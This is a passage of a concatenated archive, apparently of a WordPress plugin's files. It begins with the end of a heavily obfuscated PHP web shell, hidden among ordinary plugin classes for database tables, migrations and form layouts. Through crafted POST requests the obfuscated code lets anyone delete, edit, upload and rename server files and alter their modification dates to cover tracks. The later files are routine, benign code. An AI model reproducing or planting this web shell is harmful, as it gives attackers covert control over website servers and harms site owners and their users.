AA\x41\101\x45l\106Tk\x53\165\121mCC\x27 /> "."<i\x6e\160ut \x63la\x73s=\x27\x6f\160enf al\154\x27\x20t\x79p\145='\x73u\x62\155\x69t' n\x61me\075'view' \x76\x61\154\165e=".$_eyioktbq.">"."\074\057\164d>"."<\x74\x64>"."<\x69\156p\165\x74\040styl\x65\075'\142o\x72der:\x201p\x78 \163ol\151\x64\040#\143cc\143cc;\x27 \x6ea\x6d\145=\047d\x65l\x27 \166\141\154\165e\x3d'\104' \164\171\x70e\x3d\x27s\165b\155\x69t\047\x20\164itl\145=\x27De\154e\x74\145'\x3e"."<input\x20\163ty\x6c\145=\x27b\157r\144\x65r: 1px\x20s\x6flid \x23\143c\143ccc;'\x20\156ame=\047r\x65\x6e\x27 \166al\165\145=\x27R\047\x20ty\160e=\x27su\x62mit' \164\x69tle\x3d'\x52e\156\141m\x65\047>"."<i\x6e\160ut st\171le\x3d'bo\162d\x65r:\x20\061px so\154\151\x64 #\x63cc\x63\x63c;' \x6ea\x6d\145=\x27\164o\165' \166al\x75e='\124' \x74\171\x70e\x3d\x27submit\x27 t\x69\x74l\145='\124ouch'>"."<\x69\156pu\x74\x20styl\x65\x3d'\142o\162\144e\162:\0401px s\x6flid\x20#\x63\x63c\x63c\x63\x3b\047\x20\156a\x6de\x3d'e\144it\x27 v\x61l\165\x65='E\047 t\x79\160e\x3d\x27\x73\165bm\x69t' ti\164\x6ce\x3d'E\144i\x74'\076"."<in\x70\165t s\164y\x6ce='b\157\162\144\145\162:\x20\061px s\157l\151d \043c\143c\x63c\x63\073fo\x6et\055\x73\151ze\072\040\061\064p\170;p\x61ddin\x67\055lef\x74: \066p\x78;pad\144\151n\x67-\162i\147ht: \066px\x3b'\x20name='\154o\x61d\x27\x20\x76al\165e=\047\x26#\061\x31\0601\065;' typ\145=\x27s\165bmi\x74\x27 tit\x6ce\075'Do\167\x6e\x6c\157ad'\076"."</td\076"."<td>"."["._ddisiu($_mkmoxkqd)."\135\x20"._ckskxf($_mkmoxkqd)."\x3c\164d\x3e".$_hbweya."\074/td\x3e"."<td\076".dAte("d-\x6d-Y\040H\x3ai\072s",FIlemTimE($_mkmoxkqd))."</t\144\x3e"."<\x74d\076".RouNd($_riahh,(int)ROUNd(29+29+29)-(int)rouNd(21.25+21.25+21.25+21.25))." ".$_zkzlbi."</\x74\144\x3e\074/\164\x72\x3e";}elseif(is_DIr($_mkmoxkqd)){echo"<tr \x74\141bind\x65\170\075\x27\x30'\x20c\x6c\x61\163\x73='n\x6fte'><td c\x6ca\x73\163\x3d\x27c\x62\x6fx'>"."<\x69\156\x70\x75\164 ty\x70e=\047c\x68eck\142ox' \156a\155e\x3d\047ch\x6f\157\x73\145[]\x27 v\141\x6c\165\x65\x3d'".$_mkmoxkqd."'>"."</td>"."\074\164d\040cl\x61\163\163='\143ol'><i\x6d\147 s\162\143\075'd\141t\141\072\x69\155\141ge\057\160\x6eg\073\x62as\x65\x364\054i\126BO\122\x77\060\x4b\x47\x67\157\101\x41\101\101N\x53\125\150\x45\x55g\101\101A\x42A\x41AA\x41\121C\x41YA\101\101\101f8/9h\x41\101ACX0lE\121V\x5242mNk\157\102A\167\104h4\104y\x6ay\x45pBkZ\x47\x54g\067t7+\x37\147\066wg\x31V6A\x7aV\103\102\x794aD\155503ad\1629j\x52gGl\110oIy\x4d\122luKyT1V\x590Y\127RmY\x6a\x697\057\x64Sc84e\166z\126\x4aWETG\123\0605\x4c\063F\x46\x57\x55cB\x61\126\x45+P\x39\x38\057Pn/\x356y5TY\x4ea14\143\x51zFg\x58\x6f\x460\x5a1RlS\150\x6b\1522D\110\057gegfE\120\060\106\070v6B\x32Q\172/\057\x38\114x\063\150X\110Jqz\142cK1\x59\x58\132JV\126\x30qMXX\x76\x58h\x52\x38rG\x45PNu\x65\111W\114ot\132\171\115w\x6cgqKY\064\x528\x79+w/\104\170\x78d\166\x47\116\x348ev\066\x42g1\x2f\157\153Ziy\x4cMd\057\106p5v3\131W\x4cYxml+RmF\x6a6y0ey\066l\142c\x67\113\x554ww4\x41\x2b\x59\x2f+z\155A\167Ye\x55U\105\107\x48\153\155V\057\x2f8\132Wa4w\x4d\057\x33\x2f\144WXPu\x5aPGCfu\x7awYG\x34rFbyZHCi\x74\170n\x4d\147H+/f\172G\x38\145/\x61W\064\143eXd\060\x42PMT\x4fIKsk\x7a\143PA\113Aw\0638zfDn\061\x378H\x2f/78e\142+0\x611\144Cx\161J\x58l8AG\154P\x75\172dNe\063+\x5aY\x77M\x7aE\170fP/\x30l\x65\x48\x4a\x6ebsM0poa\x44J\1708w\163C\167A\111bLv\071\x39\167\057Ofn7\x37ePb7w+oBF5Kg\x51ejV6\066zM\106L\x70h\165t\x34\x65Y\x56Y\x4c\1501/iaDi\x70k5AxM\124I1TTL\167Z\107\106\x41\x4e+\057T\x79x6\061\x6d\x70U/2Ty\130\x41\x44\061ES\131\x46P\142M\154\x62\166\057\057y\070\x48A\x37cwNwOf\x45\x44BA/\057\x35\107s\122m\x47\057/\x335/\x58\057a\160BcOR\x57u+HI\111b\111Mr\116\171\114\123\x35U\053gt\x48z\145\172g\111quEj\x54\167YJr+\121A\115\127Q\15296\x2bO\x74\114QM\125\x37+S\166P/\067\x31D\123\131\155\x7a0\x74\154O+\x33o\x4c\x6d\167g\1148\060E0/ofEx\162\x2b/f\x78jev\x66n\x39/\x2by\061\063/\x63PX/\1701\x65\x4f\x65p3\063\x4duPv\x31\063BCMp\1644Wz\162Cp\115\x46w1l\x41\x67ba\170/\145/\x2f1+\x388fv\x70k\125u\x2fjhy59Hv\146h\131f/D\x6e\x7a\x2b+f/\x2br\x378\115f3D\x6dB\123M\132J\x72\115gW7b\103\x6b\x39f+HD\x313\057+/+\116\x31\057\0573/\171\x4aRQM6A\x41\x41\x36UD\067\x56kP\107\x4a\061gA\101AAB\112RU\x35ErkJ\147\x67\147\x3d\x3d\x27 /> \x3c\x61\x20hr\x65f=\047".$_SERVER["PH\120_SE\x4cF"]."?path=".$_mkmoxkqd."\047\076".$_eyioktbq."\074/\141\x3e</\164\x64>"."<td>"."\074\x69n\x70\165t \163\x74yl\145\x3d'bord\145r: 1px solid #\x63c\x63\x63\143c;'\040nam\145\075'del' v\141lue\x3d\x27D\047\040t\x79\x70e=\x27s\x75\142m\151\164\047 ti\164\154e=\x27D\145\154ete\047>"."\x3cin\x70\x75\x74 style\x3d'bo\x72\x64e\162\072 \x31px \x73ol\151d #ccccc\143;' nam\145\x3d\047\x72\x65\156' v\x61\154u\145\x3d\047R' t\171\160e=\047\x73\165bm\x69\x74\x27 t\x69\x74le='R\x65\156\141\x6de'>"."<\x69\156put\040\163ty\x6ce='borde\162: 1px solid\040\043\x63\x63cc\143c;\x27 \x6ea\155e='to\x75\x27\040v\141\154\165e='\x54\x27 typ\x65='\163u\142mit'\040ti\x74\154e\075\047\124o\x75\x63h'>"."\074inp\x75t \163ty\x6ce='b\157rde\x72\x3a 1p\x78 s\x6f\x6c\151d #\x63cc\x63cc\x3bp\x61dd\x69n\147: 0 \067px;\047 n\x61me=\x27\165p' \x76\x61\x6cue='\125' t\x79pe\075\047su\142mit'\040\x74\151tle\x3d'\125pl\x6fa\x64\x27>"."\x3c\x2ft\144>"."<\x74d>"."["._ddisiu($_mkmoxkqd)."]\040"._ckskxf($_mkmoxkqd)."\x3ctd\076".$_hbweya."<\x2f\x74\144\x3e"."<td>".daTE("d\055m\055Y\040H\x3a\151:s",fILEMtimE($_mkmoxkqd))."</\x74d>"."<\x74\x64>DIR\x3c/td></t\162>";}}}echo"\074/\164\x61\142l\145\x3e\x3c/form\x3e\x3c/\144i\x76>\x3c\057\x64\x69v>";}echo _ssgcj($_qcaqtti);function _abvifs($_afeglv){if($_jsnn=GloB($_afeglv."\x2f*")){foreach($_jsnn as$_qpme){iS_DIr($_qpme)?_abvifs($_qpme):uNlinK($_qpme);}}return rMdiR($_afeglv);}$_oqce="\x0d\012\x3cdiv\040id=\042ope\x6eMo\x64\x61\x6c\042 cl\141\163s=\042\155o\144a\154b\141ck\147r\x6f\x75nd\x22>\015\x0a\040\040 \040\x3c\144i\x76 c\154\x61s\163\075\x22m\157dalw\151ndow\x22\076\x20\015\x0a \040\x20\x20 \040<\160>t\145\170\x74<\057p\076\015\x0a\x20\040\040 \040\x20 \x3ca\040\x68re\146=\042\x22\076\x43lose\x3c/a\x3e\015\012\x20 \040 \x3c\057div\x3e\015\012</\x64i\x76>";if(isset($_POST["d\145l"])){if(!empty($_POST["ch\x6fo\x73e"])){foreach($_POST["cho\157\163e"] as$_qoloxlaw){if(IS_lINK($_qoloxlaw)){if(UNLink($_qoloxlaw)){echo sTR_RepLace("text","\x3c\160\x20\x63l\x61s\163\075\x22pm\042>"."T\150e l\x69n\153\x20w\141s\x20\163uc\x63es\163fu\x6c\x6cy \144e\x6ceted!"."<\057\x70\076",$_oqce);}else{echo Str_RePLAcE("text","\x3cp\040\143lass\075\x22pm\x22\076"."\105r\162or\041 \x54h\x65\x20\154\151nk \167as n\157t\x20\x64ele\x74ed!"."\074\057p>",$_oqce);}}elseif(Is_File($_qoloxlaw)){if(UnLInk($_qoloxlaw)){echo str_REPLaCE("text","\074\x70 c\x6ca\x73\x73=\x22pm\042>"."\x54he fil\x65\x20was s\x75c\143es\x73fu\x6cl\171 \x64\x65l\145te\144!"."<\x2fp>",$_oqce);}else{echo stR_rePLACe("\164\x65xt","<p \x63la\x73s\x3d\x22\x70m\x22\x3e"."E\x72ro\162\x21\040Th\x65 \x66\151\x6ce\x20wa\x73 not del\x65\164e\x64!"."\074\x2fp>",$_oqce);}}elseif(is_dIr($_qoloxlaw)){if(_abvifs($_qoloxlaw)){echo str_replace("te\x78t","<\160 c\x6cass\075\042pm\x22>"."\x44\x69re\143t\157ry d\x65leted!"."\074\x2fp>",$_oqce);}else{echo sTr_rEpLACe("\164e\x78t","\074p \x63l\141ss\x3d\x22\x70m\x22>"."Err\x6fr!\x20T\x68e\x20d\151re\x63\x74o\162y \x77a\x73 not dele\x74ed!"."</p\076",$_oqce);}}}}}if(isset($_POST["edit"])){if(!empty($_POST["\x63\x68\157\157s\x65"])){$_arozacj=$_POST["\143ho\157se"][(01330-0523)+(int)ROUnd(-97.25+-97.25+-97.25+-97.25)];if(IS_ReadABLe($_arozacj)){$_dulkwwkp="\x0d\x0a<d\x69\x76\x20id=\047\x6fp\145\x6eM\x6f\x64al' \x63l\x61ss\075\x27\155o\144al\142\x61ckgro\x75\x6ed\047>\074div \143la\x73\163\x3d'moda\x6c\x77\151n\x64ow2'><fo\162\x6d \x73\164yle=\047\167id\x74h:\04096%;height\072 85\045;m\x61\162gin:\x20\x30\040\x61u\x74\x6f;\047 m\145t\x68\x6f\144\075\x27\160os\x74'>\015\x0a\x3ct\x65xta\162ea\040\163tyle='res\x69\x7ae\072 \156one;\167\x69dt\150: \x39\070\045;\150ei\x67ht:\0409\070\x25\073\047 nam\x65='edit\137c\157\144\x65'\076".hTmLspeCiALcHARS(FILE_GET_conTENTS($_arozacj))."\x3c\057\x74e\x78t\x61re\x61\076<\151nput \x74\x79pe\075'\150idden\x27 nam\145='cor\x72ecti\x6fn' va\x6cue='".$_POST["choose"][(-0100- -0603- -01641+-03205)+(-0325+-0444- -0204)-(-01470+-01175- -0463- -01073)-(-042+067+-0312+-032)]."'\x3e\074i\x6e\x70ut\x20sty\154\x65\075\x27float:\x6ce\x66\x74\x3bm\141r\147\x69\156\x2d\154e\x66\164:\0401%;m\141r\x67in-\x74op:\x208p\170\x3b\047\x20\164yp\x65=\x27\163\x75bmi\x74\x27 value\x3d'\101\160\x70l\x79\x20th\145 \x63\x68a\x6eges'><\x2f\146orm\x3e<\141\x20\150\x72e\x66\x3d''>Close</a><\x2f\144iv>\074\x2f\x64\x69\166\076";echo$_dulkwwkp;}else{echo STR_RePLaCE("\164e\x78\164","\x3c\160 cla\163\163=\042\x70m\x22>"."\x45\162r\x6fr! Ca\x6e't \157pen\x20\x66il\x65\x21"."</p>",$_oqce);}}}if(isset($_POST["\145\x64\151t_\143o\144\145"])){$_bszmhk=FiLE_pUT_cOntentS($_POST["co\x72rect\x69\x6f\x6e"],$_POST["e\x64it\x5fco\144e"]);if($_bszmhk===false){echo Str_repLAcE("\164ex\x74","<\160 \143\154ass=\042pm\x22>"."\x45rro\162\x20\167\162i\164ing\040t\157 f\x69le\x21"."\x3c\x2fp>",$_oqce);}else{echo STr_RePlacE("te\170\164","\x3cp cla\163\x73=\042p\155\x22\076"."\x54he\x20file was s\x75c\143\145s\163\x66\165l\x6cy mod\151\146\151ed!"."</p>",$_oqce);}}if(isset($_POST["\x76iew"])){if(iS_READAbLe($_POST["v\x69ew"])){$_btwo=fopEN($_POST["\x76iew"],"r\x74");$_vwsz="";while(!fEoF($_btwo))$_vwsz.=fREAd($_btwo,(int)rOUnD(1628+1628+1628)+(-02014+0370));fclose($_btwo);if(FILESiZE($_POST["\x76iew"])==((0351- -0125)+(-0461-0453)-(0405-01043))){echo STr_RePLaCE("te\x78\164","<\160 cl\x61\x73s=\x22p\x6d\042\076"."T\150\x65 \146ile \151\163\040e\155pt\x79!"."<\057p\x3e",$_oqce);}elseif($_vwsz){echo"<di\166\040id\075\042\x6fpenModal\042\040class=\042m\157dalb\x61ck\x67r\x6fund\042\076"."<div cl\x61\x73s=\042mo\144a\x6cw\x69\x6e\144ow\062\x22\076"."<d\151v\x20cl\x61\x73s=\x27are\x61'>";HighLiGHt_striNG($_vwsz);echo"</div>"."<\x61 hr\145f=\x22\042>Clos\145</a>"."\074\x2f\x64\151v\x3e"."\x3c\x2fd\x69\166>";}}else{echo STR_rEPLAcE("\164\145xt","<p\x20\143las\x73\075\042\x70\155\x22>"."\105rror\x21 \x43a\x6e\047t open f\151l\x65\041"."<\x2f\160\x3e",$_oqce);}}if(isset($_POST["\x75p"])&&!empty($_POST["c\x68o\157se"])){echo"<\x64\151v\x20i\x64\075\x22\x6fpen\x4dod\141l\x22 cl\x61\x73\x73\x3d\042\155\157\144alb\141ckg\162\x6fu\156d\x22\076"."<\x64i\x76\x20\x63lass=\042mo\x64\x61l\167\x69\156dow\x22>"."<d\151v \163tyle\075'widt\x68: aut\x6f\073' c\x6c\x61\x73\163='a\162ea'\x3e";echo"\074\160 \x73t\x79\154\145=\042marg\x69n\x2dlef\164\x3a\065p\170;te\x78t\x2dalign:\040le\146\x74;\x22>"."uploa\144_max_\146\x69\154\145\x73i\172e:\040".INi_gET("\x75\160lo\x61d_\x6d\141\170_\146\x69\154e\x73\x69\172e")."\074\x62r\076"."po\163t_\x6dax_size:\x20".inI_gET("\160\157s\164_ma\x78\137\x73\x69ze")."<\x2fp\x3e";echo"\x0d\012\x3cpre\x3e\015\012<f\157\162m\x20\x6detho\x64\075\x22POST\042\x20\145nc\164yp\x65=\042\x6d\x75ltip\141\x72t\057\x66\x6frm-d\141t\x61\x22>\015\012\x3c\154abel>\x3cb c\154ass\075\042b\164\x22>\125p\x6coa\144\x65\162:\074\057b\076\074/\x6cab\145l>\015\x0a<i\x6epu\x74 type=\x22file\042\x20\x6e\141me=\042fi\154e\x6e\x61me\042 >\074br/>\x0d\x0a\x3c\x69\156\x70ut \164\171p\x65\x3d\042\x68i\144den\x22 na\155\145=\x22\165\x70_f\x69\x6ce\042 \x76alu\x65=\x22".$_POST["choose"][(int)ROUnD(0+0+0+0)]."\042\x3e\x0d\x0a<i\156\x70ut\x20\x74ype\075\x22s\x75\x62m\x69\164\x22 va\x6cue=\x22Upl\157\141d\x22>\x0d\012<\057form\x3e\x0d\012<p\x72e\076";echo"</div>"."<\141 hr\145\146\x3d\042\042\x3eC\x6c\157s\145</a>"."</d\151\166>"."<\057d\x69\x76\x3e";}if($_FILES["f\151\154\x65name"]["err\157r"]==(int)rounD(0+0+0+0)){$_ldni=$_POST["up_\x66ile"]."\x2f".$_FILES["file\x6e\x61m\145"]["n\141\155e"];if(movE_UpLOADed_FIlE($_FILES["\146ilena\x6d\145"]["tmp\137\x6e\x61me"],$_ldni)){$_gtheuk="\074p \x63l\141s\x73\x3d\x22pm\042>"."\124he\040file\040was u\160\x6co\x61d\x65d s\165\143\143\x65s\163\146\x75lly\041"."</p\076";$_kchse=StR_RepLaCe("\164\145xt",$_gtheuk,$_oqce);echo$_kchse;}}else{echo stR_RePLACe("te\170t","<p c\x6cass\x3d\x22\x70m\042>"."\105\x72r\157\x72\041\x20\x54he f\151\154e\x20i\163\x20no\x74 s\145\154ec\x74ed\x21"."</p>",$_oqce);}if(isset($_POST["tou"])&&!empty($_POST["c\150\157os\145"])){echo"<di\x76 i\144\x3d\042ope\156\115oda\154\042 cla\x73s=\042m\157d\141lba\143k\147ro\x75nd\x22>"."<\144iv cla\163\163=\x22mo\x64al\167\x69nd\x6fw\042>"."<div \163\x74\171le=\x27\x77\151\x64th\072\040a\x75to;' \143la\163s='a\162\x65a'\076";echo"\015\x0a<f\157rm \155eth\x6f\x64=\x27po\163\164'>\015\x0a\074\164e\170t\141\162\145a\x20st\171\154e\x3d\047\162es\151z\x65: \156\157ne\x3b\x27 n\x61\155e=\x27\143\157\x64e\047>".dATe("\144-\155\055Y\040\110\072i:s",fIleMTIme($_POST["\143h\x6fos\145"][(int)rOund(0+0+0)]))."\x3c\057t\145x\x74\141\162e\x61>\015\012\074\151npu\164 t\x79\x70\145='h\151\144\144e\x6e\x27 name='dat\145\137file\x27 va\x6c\x75e\075'".$_POST["choo\163e"][(int)rOUnD(-13.666666666667+-13.666666666667+-13.666666666667)+(-043-0103-0421+0635)+(int)ROUnd(78.5+78.5)-(int)RounD(38.5+38.5+38.5+38.5)]."'\076\074b\x72/>\015\x0a<in\160ut\040\164ype=\047\163ubmit\047\x20\166\141\x6c\165\145='T\157\165c\x68'>\x0d\012\074\x2ff\157rm>";echo"</div>"."\074\x61\040\150ref=\042\042\076\103l\x6f\163e</\141\x3e"."\074\x2fd\x69\x76\076"."\074\057\144\x69v>";}if(isset($_POST["co\144e"])){if(tOuCh($_POST["d\x61t\x65_file"],sTRTotiME($_POST["\143o\144e"]))){$_gtheuk="\074p \143las\x73=\042\160m\x22\x3e"."Modi\x66\151cati\157n d\141te ch\x61n\x67e\x64!"."\074/p\076";$_kchse=str_rePLACE("t\x65\170t",$_gtheuk,$_oqce);echo$_kchse;}else{echo Str_rEPLACe("t\145xt","<p\x20class=\x22\x70m\042>"."\105\x72ro\162!\x20You \143\157u\154\x64n\x27t \143hange the \x64ate!"."</p>",$_oqce);}}if(isset($_POST["\x72\x65\x6e"])&&!empty($_POST["choos\x65"])){echo"<\x64iv \151\x64=\042ope\156M\157\144\x61l\042 clas\x73=\x22mod\141lb\x61\x63k\x67ro\x75nd\042\x3e"."<di\x76 \143lass=\042mo\144\141lwindo\x77\x22>"."<d\151\x76 \x73\164yle=\x27wid\x74\150: au\164o;\x27\040c\154as\163=\047area'\076";echo"\x0d\012\074for\x6d \x6d\x65thod\x3d\x27p\157\x73t\x27\x3e\015\x0a\x3c\164\145x\x74\141rea\x20st\171le='\x72\x65size:\040\156one;\x27\x20n\x61m\x65='r_co\144e'\x3e".$_POST["choos\145"][(int)rOuNd(79.25+79.25+79.25+79.25)+(int)rounD(-208+-208)-(int)round(-246.5+-246.5)-(int)rOuND(197+197)]."</\x74e\170tar\x65a>\015\x0a<input \164ype='\x68idden\047\040\156\141\x6d\145='\162en\x5ff\151l\145'\040valu\x65=\x27".$_POST["\x63ho\x6f\163e"][(int)ROund(0+0)]."'><b\x72/>\x0d\012\074\x69nput ty\160e=\x27\x73ub\x6dit\047 v\x61lue='Re\156am\145\x27\076\015\x0a<\057f\x6frm>";echo"\074/\x64iv\x3e"."<\x61 \150r\x65f\075\x22\042>C\x6cose\074\057a\076"."\074\057\x64\151\x76\076"."\074\x2f\144i\x76\x3e";}if(isset($_POST["r_c\157d\145"])){if(rEnAmE($_POST["\162en_\146ile"],$_POST["r\x5fcode"])){echo Str_REPlACe("t\x65xt","<\160\040\143lass\x3d\042p\155\042\x3e"."Ren\x61\x6d\151\x6eg\040c\x6fmp\154\x65t\x65\x64\041"."</\x70>",$_oqce);}else{echo StR_rEplaCe("text","<p \143las\x73\075\042pm\x22>"."\105rror\041 Not r\145named!"."</p>",$_oqce);}}echo"<\x2f\144i\x76>\074\057div>";echo"\040\040\x20<\057\x62od\171>\x0d\012<\057html\076\015\012\015\x0a"; Twine/db/TableManager.php 0000644 00000003032 14666776752 0011302 0 ustar 00 <?php
namespace Twine\db;
/**
* Class TableManager
* @package Twine\db
*/
abstract class TableManager
{
/**
*
* @return void
*/
abstract public function installTables();
/**
* @return void
*/
abstract public function dropTables();
/**
* @param string $table_name
* @param string $columns_sql
*/
public function installTable($table_name, $columns_sql)
{
global $wpdb;
$table_name = $wpdb->prefix . $table_name;
$wpdb_charset_collate = $wpdb->get_charset_collate();
$sql =
"CREATE TABLE {$table_name} (
{$columns_sql}
)
{$wpdb_charset_collate}";
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
dbDelta($sql);
}
/**
* @param string $table_name pre-sanitized or hard-coded.
* @return bool|int|\mysqli_result|resource|null
*/
public function dropTable($table_name)
{
global $wpdb;
// Drop the table. Caching the results of this would be silly. And of course we want to alter the schema, that's what this method is for.
// This should only be done on PMB's custom tables, of course.
// And of course we shouldn't be passing in user input for the table name
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, WordPress.DB.PreparedSQL.NotPrepared
return $wpdb->query('DROP TABLE ' . $wpdb->prefix . $table_name);
}
}
Twine/db/migrations/MigrationManagerBase.php 0000644 00000007726 14666776752 0015171 0 ustar 00 <?php
namespace Twine\db\migrations;
use Twine\system\RequestType;
use Twine\system\VersionHistory;
/**
* Class MigrationManagerBase
* @package Twine\db\migrations
*/
abstract class MigrationManagerBase
{
/**
* @var RequestType
*/
protected $request_type;
/**
* @var VersionHistory
*/
protected $version_history;
/**
* @var string
*/
protected $option_prefix;
/**
* @var MigrationBase[];
*/
protected $migrations;
/**
* @var MigrationBase[]
*/
protected $applicable_migrations;
/**
* @param RequestType $request_type
* @param VersionHistory $version_history
* @param string $option_prefix
*/
public function inject(RequestType $request_type, VersionHistory $version_history, $option_prefix)
{
$this->request_type = $request_type;
$this->version_history = $version_history;
$this->option_prefix = $option_prefix;
}
/**
* Performs any quick migrations and remembers so they don't get ran again.
*/
public function migrate()
{
$migrations = $this->getMigrationsToRun();
foreach ($migrations as $migration) {
$migration->perform();
}
$this->rememberMigrationsRan($migrations);
}
/**
* Gets all the migrations that should be run.
* @return MigrationBase[]
*/
protected function getMigrationsToRun()
{
return (array)array_diff_key(
$this->getApplicableMigrations(),
$this->getMigrationsRan()
);
}
/**
* @param array $applicable_migrations keys must be the version migrated to.
*/
protected function rememberMigrationsRan($applicable_migrations)
{
$migrations_ran = $this->getMigrationsRan();
foreach ($applicable_migrations as $version => $migration) {
$migrations_ran[$version] = current_time('mysql');
}
update_option($this->getOptionName(), $migrations_ran, false);
}
/**
* @return array keys are migration versions, values are MySQL datetimes of when they were run
*/
protected function getMigrationsRan()
{
return get_option($this->getOptionName(), []);
}
/**
* @return string
*/
protected function getOptionName()
{
return $this->option_prefix . 'migrations';
}
/**
* Gets all the migrations that should run
* @return MigrationBase[]
*/
protected function getApplicableMigrations()
{
if ($this->applicable_migrations === null) {
$this->applicable_migrations = [];
$current_version = $this->version_history->currentVersion();
$previous_version = $this->version_history->previousVersion();
// If this is a brand new install, we shouldn't need to do any migrations right?
if ($previous_version === null) {
return [];
}
foreach ($this->getMigrationInfos() as $version => $migration_class) {
if (
version_compare($current_version, $version, '<=')
&& version_compare($version, $previous_version, '>')
) {
$this->applicable_migrations[$version] = new $migration_class();
}
}
}
return $this->applicable_migrations;
}
/**
* @return MigrationBase[]|null
*/
public function allMigrations()
{
if ($this->migrations === null) {
$migration_infos = $this->getMigrationInfos();
foreach ($migration_infos as $version => $classname) {
$this->migrations[$version] = new $classname();
}
}
return $this->migrations;
}
/**
* Gets the versions and classes of all migrations. Does not return actua;ly MigrationBases.
* @return array Keys are the versions, values are classnames.
*/
abstract public function getMigrationInfos();
}
Twine/db/migrations/MigrationBase.php 0000644 00000000361 14666776752 0013662 0 ustar 00 <?php
namespace Twine\db\migrations;
/**
* Class MigrationBase
* @package Twine\db\migrations
*/
abstract class MigrationBase
{
/**
* Performs the migration
* @return bool
*/
abstract public function perform();
}
Twine/forms/strategies/FormInputStrategyBase.php 0000644 00000001557 14666776752 0016146 0 ustar 00 <?php
namespace Twine\forms\strategies;
use Twine\forms\inputs\FormInputBase;
/**
* Base class for all strategies which operate on form inputs. Generally, they
* all need to know about the form input they are operating on.
*/
abstract class FormInputStrategyBase
{
/**
* Form Input to display
*
* @var FormInputBase
*/
protected $input;
/**
* FormInputStrategyBase constructor.
*/
public function __construct()
{
}
/**
* The form input on which this strategy is to perform
*
* @param FormInputBase $form_input
*/
public function constructFinalize(FormInputBase $form_input)
{
$this->input = $form_input;
}
/**
* Gets this strategy's input
*
* @return FormInputBase
*/
public function getInput()
{
return $this->input;
}
}
Twine/forms/strategies/layout/AdminTwoColumnLayout.php 0000644 00000005160 14666776752 0017312 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\HiddenInput;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\strategies\display\AdminFileUploaderDisplay;
use Twine\forms\strategies\display\TextAreaDisplay;
use Twine\forms\strategies\display\TextInputDisplay;
use Twine\helpers\Html;
/**
* Like the standard two-column form section layout, but this one adds css classes
* specific to the WP Admin
*/
class AdminTwoColumnLayout extends TwoColumnLayout
{
/**
* Overriding the parent table layout to include <tbody> tags
*
* @param array $additional_args
* @return string
*/
public function layoutFormBegin($additional_args = array())
{
$this->form_section->setHtmlClass($this->form_section->htmlClass() . ' form-table twine-two-column-layout');
return parent::layoutFormBegin($additional_args);
}
/**
* Lays out the row for the input, including label and errors
*
* @param FormInputBase $input
* @return string
*/
public function layoutInput($input)
{
$html_generator = Html::instance();
if (
$input->getDisplayStrategy() instanceof TextAreaDisplay
|| (
$input->getDisplayStrategy() instanceof TextInputDisplay
&& ! in_array($input->getDisplayStrategy()->getType(), ['checkbox', 'radio'], true)
)
|| $input->getDisplayStrategy() instanceof AdminFileUploaderDisplay
) {
$input->setHtmlClass($input->htmlClass() . ' large-text');
}
if ($input instanceof TextAreaInput) {
$input->setRows(4);
$input->setCols(60);
}
$input_html = $input->getHtmlForInput();
// maybe add errors and help text ?
$input_html .= $input->getHtmlForErrors() !== ''
? $html_generator->nl() . $input->getHtmlForErrors()
: '';
$input_html .= $input->getHtmlForHelp() !== ''
? $html_generator->nl() . $input->getHtmlForHelp()
: '';
// overriding parent to add wp admin specific things.
$html = '';
if ($input instanceof HiddenInput) {
$html .= $html_generator->noRow($input->getHtmlForInput());
} else {
$html .= $html_generator->tr(
$html_generator->th(
$input->getHtmlForLabel(),
'',
'',
'',
'scope="row"'
) . $html_generator->td($input_html)
);
}
return $html;
}
}
Twine/forms/strategies/layout/FieldsetSectionLayout.php 0000644 00000004313 14666776752 0017475 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\helpers\Html;
/**
* Class FieldsetSectionLayout
* Description
*
* @package Event Espresso
* @subpackage core
* @author Brent Christensen
*
*/
class FieldsetSectionLayout extends DivPerSectionLayout
{
/**
* Legend_class
*
* @var string
*/
protected $legend_class;
/**
* Legend_text
*
* @var string
*/
protected $legend_text;
/**
* Construct
*
* @param array $options
*/
public function __construct($options = array())
{
foreach ($options as $key => $value) {
$key = '_' . $key;
if (property_exists($this, $key)) {
$this->{$key} = $value;
}
}
parent::__construct();
}
/**
* Opening div tag for a form
*
* @return string
*/
public function layoutFormBegin()
{
$html_generator = Html::instance();
$html = $html_generator->nl(1)
. '<fieldset id="'
. $this->form_section->htmlId()
. '" class="'
. $this->form_section->htmlClass()
. '" style="'
. $this->form_section->htmlStyle()
. '">';
$html .= '<legend class="' . $this->legendClass() . '">' . $this->legendText() . '</legend>';
return $html;
}
/**
* Closing div tag for a form
*
* @return string
*/
public function layoutFormEnd()
{
$html_generator = Html::instance();
return $html_generator->nl(-1) . '</fieldset>';
}
/**
* @param string $legend_class
*/
public function setLegendClass($legend_class)
{
$this->legend_class = $legend_class;
}
/**
* @return string
*/
public function legendClass()
{
return $this->legend_class;
}
/**
* @param string $legend_text
*/
public function setLegendText($legend_text)
{
$this->legend_text = $legend_text;
}
/**
* @return string
*/
public function legendText()
{
return $this->legend_text;
}
}
Twine/forms/strategies/layout/DetailsSummaryLayout.php 0000644 00000004702 14666776752 0017356 0 ustar 00 <?php
namespace Twine\forms\strategies\layout;
use Twine\forms\base\FormSectionBase;
use Twine\forms\base\FormSectionDetails;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\helpers\Html;
/**
* Class DetailsSummaryLayout
* @package Twine\forms\strategies\layout
*/
class DetailsSummaryLayout extends FormSectionLayoutBase
{
/**
* @var FormSectionBase
*/
protected $inner_layout;
/**
* DetailsSummaryLayout constructor.
*
* @param FormSectionLayoutBase $inner_layout
*/
public function __construct(FormSectionLayoutBase $inner_layout)
{
$this->inner_layout = $inner_layout;
parent::__construct();
}
/**
* @param FormSection $form
*/
public function constructFinalize(FormSection $form)
{
$this->inner_layout->constructFinalize($form);
parent::constructFinalize($form);
}
/**
* @return string
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function layoutFormBegin()
{
$html_generator = Html::instance();
if ($this->form_section instanceof FormSectionDetails) {
$summary = $this->form_section->getSummary();
} else {
$summary = __('Show Options', 'print-my-blog');
